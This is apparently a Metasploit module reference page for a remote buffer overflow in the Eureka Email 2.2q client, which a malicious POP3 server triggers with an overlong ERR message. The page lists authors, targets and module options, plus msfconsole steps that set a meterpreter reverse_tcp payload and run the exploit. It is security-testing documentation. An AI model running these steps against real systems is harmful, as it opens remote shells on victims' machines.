Eureka Email 2.2q ERR Remote Buffer Overflow | Metasploit Exploit Database (DB)

Eureka Email 2.2q ERR Remote Buffer Overflow

This module exploits a buffer overflow in the Eureka Email 2.2q client that is triggered through an excessively long ERR message. NOTE: this exploit isn't very reliable. Unfortunately reaching the vulnerable code can only be done when manually checking mail (Ctrl-M). Checking at startup will not reach the code targeted here.

Search Other Modules


Exploit Rank

  • Normal

Exploit Authors

  • Francis Provencher (Protek Research Labs) < >
  • Dr_IDE < >
  • dookie < >
  • jduck < jduck [at] metasploit.com >

Vulnerability References


Exploit Targets

  • 0 - Win XP SP3 English (default)
  • 1 - Win XP SP2 English

Exploit Development


Similar Exploit Modules


Exploit Usage Information

$ msfconsole

                ##                          ###           ##    ##
 ##  ##  #### ###### ####  #####   #####    ##    ####        ######
####### ##  ##  ##  ##         ## ##  ##    ##   ##  ##   ###   ##
####### ######  ##  #####   ####  ##  ##    ##   ##  ##   ##    ##
## # ##     ##  ##  ##  ## ##      #####    ##   ##  ##   ##    ##
##   ##  #### ###   #####   #####     ##   ####   ####   #### ###
                                      ##

msf > use exploit/windows/misc/eureka_mail_err
msf exploit(eureka_mail_err) > show payloads
msf exploit(eureka_mail_err) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(eureka_mail_err) > set LHOST [MY IP ADDRESS]
msf exploit(eureka_mail_err) > exploit


Exploit Module Options

SRVHOST The local host to listen on. This must be an address on the local machine or 0.0.0.0 (default: 0.0.0.0)
SRVPORT The POP3 daemon port to listen on (default: 110)
SSL Negotiate SSL for incoming connections
SSLCert Path to a custom SSL certificate (default is randomly generated)
SSLVersion Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1) (default: SSL3)
ContextInformationFile The information file that contains context information
DisablePayloadHandler Disable the handler code for the selected payload
EnableContextEncoding Use transient context when encoding payloads
ListenerComm The specific communication channel to use for this service
VERBOSE Enable detailed status messages
WORKSPACE Specify the workspace for this module
TCP::max_send_size Maximum tcp segment size. (0 = disable)
TCP::send_delay Delays inserted before every send. (0 = disable)